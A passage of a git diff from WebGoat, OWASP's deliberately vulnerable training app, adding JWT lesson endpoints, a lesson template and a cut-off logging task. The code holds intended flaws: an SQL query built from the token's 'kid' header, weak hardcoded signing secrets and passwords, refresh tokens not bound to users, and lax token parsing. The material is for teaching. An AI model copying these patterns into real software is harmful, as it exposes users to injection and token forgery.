+@RestController +public class JWTDecodeEndpoint extends AssignmentEndpoint { + + @PostMapping("/JWT/decode") + @ResponseBody + public AttackResult decode(@RequestParam("jwt-encode-user") String user) { + if ("user".equals(user)) { + return success(this).build(); + } else { + return failed(this).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java new file mode 100644 index 000000000..e84bbf809 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java @@ -0,0 +1,136 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.TextCodec; +import java.sql.ResultSet; +import java.sql.SQLException; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.*; + +/** + * + * + *

+ *  {
+ *      "typ": "JWT",
+ *      "kid": "webgoat_key",
+ *      "alg": "HS256"
+ *  }
+ *  {
+ *       "iss": "WebGoat Token Builder",
+ *       "iat": 1524210904,
+ *       "exp": 1618905304,
+ *       "aud": "webgoat.org",
+ *       "sub": "jerry@webgoat.com",
+ *       "username": "Jerry",
+ *       "Email": "jerry@webgoat.com",
+ *       "Role": [
+ *       "Cat"
+ *       ]
+ *  }
+ * 
+ * + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({ + "jwt-final-hint1", + "jwt-final-hint2", + "jwt-final-hint3", + "jwt-final-hint4", + "jwt-final-hint5", + "jwt-final-hint6" +}) +public class JWTFinalEndpoint extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + private JWTFinalEndpoint(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/JWT/final/follow/{user}") + public @ResponseBody String follow(@PathVariable("user") String user) { + if ("Jerry".equals(user)) { + return "Following yourself seems redundant"; + } else { + return "You are now following Tom"; + } + } + + @PostMapping("/JWT/final/delete") + public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) { + if (StringUtils.isEmpty(token)) { + return failed(this).feedback("jwt-invalid-token").build(); + } else { + try { + final String[] errorMessage = {null}; + Jwt jwt = + Jwts.parser() + .setSigningKeyResolver( + new SigningKeyResolverAdapter() { + @Override + public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { + final String kid = (String) header.get("kid"); + try (var connection = dataSource.getConnection()) { + ResultSet rs = + connection + .createStatement() + .executeQuery( + "SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); + while (rs.next()) { + return TextCodec.BASE64.decode(rs.getString(1)); + } + } catch (SQLException e) { + errorMessage[0] = e.getMessage(); + } + return null; + } + }) + .parseClaimsJws(token); + if (errorMessage[0] != null) { + return failed(this).output(errorMessage[0]).build(); + } + Claims claims = (Claims) jwt.getBody(); + String username = (String) claims.get("username"); + if ("Jerry".equals(username)) { + return failed(this).feedback("jwt-final-jerry-account").build(); + } + if ("Tom".equals(username)) { + return success(this).build(); + } else { + return failed(this).feedback("jwt-final-not-tom").build(); + } + } catch (JwtException e) { + return failed(this).feedback("jwt-invalid-token").output(e.toString()).build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java new file mode 100644 index 000000000..abcd08edd --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.jwt; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class JWTQuiz extends AssignmentEndpoint { + + private final String[] solutions = {"Solution 1", "Solution 2"}; + private final boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/JWT/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution) { + int correctAnswers = 0; + + String[] givenAnswers = {question_0_solution[0], question_1_solution[0]}; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/JWT/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java new file mode 100644 index 000000000..945bb57da --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java @@ -0,0 +1,157 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import static org.springframework.http.ResponseEntity.ok; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.ExpiredJwtException; +import io.jsonwebtoken.Header; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import java.util.ArrayList; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import org.apache.commons.lang3.RandomStringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({ + "jwt-refresh-hint1", + "jwt-refresh-hint2", + "jwt-refresh-hint3", + "jwt-refresh-hint4" +}) +public class JWTRefreshEndpoint extends AssignmentEndpoint { + + public static final String PASSWORD = "bm5nhSkxCXZkKRy4"; + private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4"; + private static final List validRefreshTokens = new ArrayList<>(); + + @PostMapping( + value = "/JWT/refresh/login", + consumes = MediaType.APPLICATION_JSON_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public ResponseEntity follow(@RequestBody(required = false) Map json) { + if (json == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + String user = (String) json.get("user"); + String password = (String) json.get("password"); + + if ("Jerry".equalsIgnoreCase(user) && PASSWORD.equals(password)) { + return ok(createNewTokens(user)); + } + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + + private Map createNewTokens(String user) { + Map claims = new HashMap<>(); + claims.put("admin", "false"); + claims.put("user", user); + String token = + Jwts.builder() + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Map tokenJson = new HashMap<>(); + String refreshToken = RandomStringUtils.randomAlphabetic(20); + validRefreshTokens.add(refreshToken); + tokenJson.put("access_token", token); + tokenJson.put("refresh_token", refreshToken); + return tokenJson; + } + + @PostMapping("/JWT/refresh/checkout") + @ResponseBody + public ResponseEntity checkout( + @RequestHeader(value = "Authorization", required = false) String token) { + if (token == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if ("Tom".equals(user)) { + return ok(success(this).build()); + } + return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build()); + } catch (ExpiredJwtException e) { + return ok(failed(this).output(e.getMessage()).build()); + } catch (JwtException e) { + return ok(failed(this).feedback("jwt-invalid-token").build()); + } + } + + @PostMapping("/JWT/refresh/newToken") + @ResponseBody + public ResponseEntity newToken( + @RequestHeader(value = "Authorization", required = false) String token, + @RequestBody(required = false) Map json) { + if (token == null || json == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + + String user; + String refreshToken; + try { + Jwt jwt = + Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + user = (String) jwt.getBody().get("user"); + refreshToken = (String) json.get("refresh_token"); + } catch (ExpiredJwtException e) { + user = (String) e.getClaims().get("user"); + refreshToken = (String) json.get("refresh_token"); + } + + if (user == null || refreshToken == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else if (validRefreshTokens.contains(refreshToken)) { + validRefreshTokens.remove(refreshToken); + return ok(createNewTokens(user)); + } else { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java new file mode 100644 index 000000000..dac1ef5cc --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java @@ -0,0 +1,99 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; +import io.jsonwebtoken.impl.TextCodec; +import java.time.Instant; +import java.util.Calendar; +import java.util.Date; +import java.util.List; +import java.util.Random; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) +public class JWTSecretKeyEndpoint extends AssignmentEndpoint { + + public static final String[] SECRETS = { + "victory", "business", "available", "shipping", "washington" + }; + public static final String JWT_SECRET = + TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]); + private static final String WEBGOAT_USER = "WebGoat"; + private static final List expectedClaims = + List.of("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role"); + + @RequestMapping(path = "/JWT/secret/gettoken", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getSecretToken() { + return Jwts.builder() + .setIssuer("WebGoat Token Builder") + .setAudience("webgoat.org") + .setIssuedAt(Calendar.getInstance().getTime()) + .setExpiration(Date.from(Instant.now().plusSeconds(60))) + .setSubject("tom@webgoat.org") + .claim("username", "Tom") + .claim("Email", "tom@webgoat.org") + .claim("Role", new String[] {"Manager", "Project Administrator"}) + .signWith(SignatureAlgorithm.HS256, JWT_SECRET) + .compact(); + } + + @PostMapping("/JWT/secret") + @ResponseBody + public AttackResult login(@RequestParam String token) { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parseClaimsJws(token); + Claims claims = (Claims) jwt.getBody(); + if (!claims.keySet().containsAll(expectedClaims)) { + return failed(this).feedback("jwt-secret-claims-missing").build(); + } else { + String user = (String) claims.get("username"); + + if (WEBGOAT_USER.equalsIgnoreCase(user)) { + return success(this).build(); + } else { + return failed(this).feedback("jwt-secret-incorrect-user").feedbackArgs(user).build(); + } + } + } catch (Exception e) { + return failed(this).feedback("jwt-invalid-token").output(e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java new file mode 100644 index 000000000..632449822 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java @@ -0,0 +1,221 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import static java.util.Comparator.comparingLong; +import static java.util.Optional.ofNullable; +import static java.util.stream.Collectors.toList; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.impl.TextCodec; +import java.time.Duration; +import java.time.Instant; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; +import javax.annotation.PostConstruct; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.jwt.votes.Views; +import org.owasp.webgoat.lessons.jwt.votes.Vote; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.http.converter.json.MappingJacksonValue; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({ + "jwt-change-token-hint1", + "jwt-change-token-hint2", + "jwt-change-token-hint3", + "jwt-change-token-hint4", + "jwt-change-token-hint5" +}) +public class JWTVotesEndpoint extends AssignmentEndpoint { + + public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory"); + private static String validUsers = "TomJerrySylvester"; + + private static int totalVotes = 38929; + private Map votes = new HashMap<>(); + + @PostConstruct + public void initVotes() { + votes.put( + "Admin lost password", + new Vote( + "Admin lost password", + "In this challenge you will need to help the admin and find the password in order to" + + " login", + "challenge1-small.png", + "challenge1.png", + 36000, + totalVotes)); + votes.put( + "Vote for your favourite", + new Vote( + "Vote for your favourite", + "In this challenge ...", + "challenge5-small.png", + "challenge5.png", + 30000, + totalVotes)); + votes.put( + "Get it for free", + new Vote( + "Get it for free", + "The objective for this challenge is to buy a Samsung phone for free.", + "challenge2-small.png", + "challenge2.png", + 20000, + totalVotes)); + votes.put( + "Photo comments", + new Vote( + "Photo comments", + "n this challenge you can comment on the photo you will need to find the flag" + + " somewhere.", + "challenge3-small.png", + "challenge3.png", + 10000, + totalVotes)); + } + + @GetMapping("/JWT/votings/login") + public void login(@RequestParam("user") String user, HttpServletResponse response) { + if (validUsers.contains(user)) { + Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10)))); + claims.put("admin", "false"); + claims.put("user", user); + String token = + Jwts.builder() + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Cookie cookie = new Cookie("access_token", token); + response.addCookie(cookie); + response.setStatus(HttpStatus.OK.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + } else { + Cookie cookie = new Cookie("access_token", ""); + response.addCookie(cookie); + response.setStatus(HttpStatus.UNAUTHORIZED.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + } + } + + @GetMapping("/JWT/votings") + @ResponseBody + public MappingJacksonValue getVotes( + @CookieValue(value = "access_token", required = false) String accessToken) { + MappingJacksonValue value = + new MappingJacksonValue( + votes.values().stream() + .sorted(comparingLong(Vote::getAverage).reversed()) + .collect(toList())); + if (StringUtils.isEmpty(accessToken)) { + value.setSerializationView(Views.GuestView.class); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if ("Guest".equals(user) || !validUsers.contains(user)) { + value.setSerializationView(Views.GuestView.class); + } else { + value.setSerializationView(Views.UserView.class); + } + } catch (JwtException e) { + value.setSerializationView(Views.GuestView.class); + } + } + return value; + } + + @PostMapping(value = "/JWT/votings/{title}") + @ResponseBody + @ResponseStatus(HttpStatus.ACCEPTED) + public ResponseEntity vote( + @PathVariable String title, + @CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if (!validUsers.contains(user)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { + ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes)); + return ResponseEntity.accepted().build(); + } + } catch (JwtException e) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } + } + + @PostMapping("/JWT/votings") + @ResponseBody + public AttackResult resetVotes( + @CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return failed(this).feedback("jwt-invalid-token").build(); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + boolean isAdmin = Boolean.valueOf(String.valueOf(claims.get("admin"))); + if (!isAdmin) { + return failed(this).feedback("jwt-only-admin").build(); + } else { + votes.values().forEach(vote -> vote.reset()); + return success(this).build(); + } + } catch (JwtException e) { + return failed(this).feedback("jwt-invalid-token").output(e.toString()).build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java new file mode 100644 index 000000000..cc600318c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java @@ -0,0 +1,11 @@ +package org.owasp.webgoat.lessons.jwt.votes; + +/** + * @author nbaars + * @since 4/30/17. + */ +public class Views { + public interface GuestView {} + + public interface UserView extends GuestView {} +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java new file mode 100644 index 000000000..2d065df53 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java @@ -0,0 +1,83 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt.votes; + +import com.fasterxml.jackson.annotation.JsonView; +import lombok.Getter; + +/** + * @author nbaars + * @since 5/2/17. + */ +@Getter +public class Vote { + @JsonView(Views.GuestView.class) + private final String title; + + @JsonView(Views.GuestView.class) + private final String information; + + @JsonView(Views.GuestView.class) + private final String imageSmall; + + @JsonView(Views.GuestView.class) + private final String imageBig; + + @JsonView(Views.UserView.class) + private int numberOfVotes; + + @JsonView(Views.UserView.class) + private boolean votingAllowed = true; + + @JsonView(Views.UserView.class) + private long average = 0; + + public Vote( + String title, + String information, + String imageSmall, + String imageBig, + int numberOfVotes, + int totalVotes) { + this.title = title; + this.information = information; + this.imageSmall = imageSmall; + this.imageBig = imageBig; + this.numberOfVotes = numberOfVotes; + this.average = calculateStars(totalVotes); + } + + public void incrementNumberOfVotes(int totalVotes) { + this.numberOfVotes = this.numberOfVotes + 1; + this.average = calculateStars(totalVotes); + } + + public void reset() { + this.numberOfVotes = 1; + this.average = 1; + } + + private long calculateStars(int totalVotes) { + return Math.round(((double) numberOfVotes / (double) totalVotes) * 4); + } +} diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/java/org/owasp/webgoat/template/LessonTemplate.java b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java similarity index 78% rename from webgoat-lessons/webgoat-lesson-template/src/main/java/org/owasp/webgoat/template/LessonTemplate.java rename to src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java index 7e6f201b9..20fd1f293 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/java/org/owasp/webgoat/template/LessonTemplate.java +++ b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java @@ -20,22 +20,22 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.template; +package org.owasp.webgoat.lessons.lessontemplate; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class LessonTemplate extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.GENERAL; - } + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } - @Override - public String getTitle() { - return "lesson-template.title"; - } + @Override + public String getTitle() { + return "lesson-template.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java new file mode 100644 index 000000000..22a028490 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java @@ -0,0 +1,91 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.lessontemplate; + +import java.util.List; +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 1/5/17. */ +@RestController +@AssignmentHints({"lesson-template.hints.1", "lesson-template.hints.2", "lesson-template.hints.3"}) +public class SampleAttack extends AssignmentEndpoint { + + String secretValue = "secr37Value"; + + // UserSessionData is bound to session and can be used to persist data across multiple assignments + @Autowired UserSessionData userSessionData; + + @PostMapping("/lesson-template/sample-attack") + @ResponseBody + public AttackResult completed( + @RequestParam("param1") String param1, @RequestParam("param2") String param2) { + if (userSessionData.getValue("some-value") != null) { + // do any session updating you want here ... or not, just comment/example here + // return failed().feedback("lesson-template.sample-attack.failure-2").build()); + } + + // overly simple example for success. See other existing lesssons for ways to detect 'success' + // or 'failure' + if (secretValue.equals(param1)) { + return success(this) + .output("Custom Output ...if you want, for success") + .feedback("lesson-template.sample-attack.success") + .build(); + // lesson-template.sample-attack.success is defined in + // src/main/resources/i18n/WebGoatLabels.properties + } + + // else + return failed(this) + .feedback("lesson-template.sample-attack.failure-2") + .output( + "Custom output for this failure scenario, usually html that will get rendered directly" + + " ... yes, you can self-xss if you want") + .build(); + } + + @GetMapping("lesson-template/shop/{user}") + @ResponseBody + public List getItemsInBasket(@PathVariable("user") String user) { + return List.of( + new Item("WG-1", "WebGoat promo", 12.0), new Item("WG-2", "WebGoat sticker", 0.00)); + } + + @AllArgsConstructor + private class Item { + private String number; + private String description; + private double price; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java b/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java new file mode 100644 index 000000000..710f22f1a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java @@ -0,0 +1,66 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.logging; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.UUID; +import javax.annotation.PostConstruct; +import org.apache.logging.log4j.util.Strings; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class LogBleedingTask extends AssignmentEndpoint { + + Logger log = LoggerFactory.getLogger(this.getClass().getName()); + private String password; + + @PostConstruct + public void generatePassword() { + 